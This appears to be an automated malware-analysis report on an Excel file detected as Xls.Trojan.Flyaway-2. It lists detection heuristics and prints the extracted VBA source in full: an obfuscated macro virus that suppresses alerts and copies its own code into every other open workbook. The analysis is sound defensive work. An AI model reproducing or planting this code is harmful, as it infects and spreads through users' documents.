MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is an Excel spreadsheet containing VBA macros. The critical ClamAV detection identifies it as Xls.Trojan.Flyaway-2. The VBA code within the 'macros.bas' module is designed to copy its own code into any other open workbooks when the current workbook is deactivated. This behavior suggests an attempt at propagation or establishing persistence across multiple documents.
Heuristics 2
-
ClamAV: Xls.Trojan.Flyaway-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Flyaway-2
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1616 bytes |
SHA-256: 392fb86e99f2e79b7201b00c18b74bfcf47fae76e7c74e354bbec628203b7bcc |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Fly
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = 1
Application.DisplayAlerts = 0
Application.ScreenUpdating = 0
Application.EnableCancelKey = 0
Application.DisplayStatusBar = 0
Set α = VBProject: Set α = α.VBComponents("ThisWorkbook").CodeModule
λ = α.Lines(1, α.CountOfLines + 1)
For Each ι In Workbooks
Set ν = ι.VBProject: Set ν = ν.VBComponents(α).CodeModule
ν.DeleteLines 1, ν.CountOfLines: ν.InsertLines 1, λ
Next
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.